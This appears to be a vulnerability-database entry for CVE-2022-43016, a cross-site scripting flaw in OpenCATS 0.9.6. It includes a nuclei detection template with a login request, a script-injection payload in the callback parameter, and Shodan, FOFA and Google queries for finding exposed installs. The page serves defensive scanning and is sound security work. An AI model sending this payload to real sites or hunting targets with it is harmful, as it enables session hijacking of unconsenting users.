OpenCATS 0.9.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.

How to confirm it

Send: POST /index.php?m=login&a=attemptLogin ; GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate
Positive when: contains "EVAL=<script>alert(document.domain)</script>" and "cats_connected" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-43016 -u <target>

The full check

id: CVE-2022-43016

info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43016
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43016
    cwe-id: CWE-79
    epss-score: 0.0175
    epss-percentile: 0.78053
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"OpenCATS"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve2022,cve,xss,opencats,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'EVAL=<script>alert(document.domain)</script>'
          - 'cats_connected'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from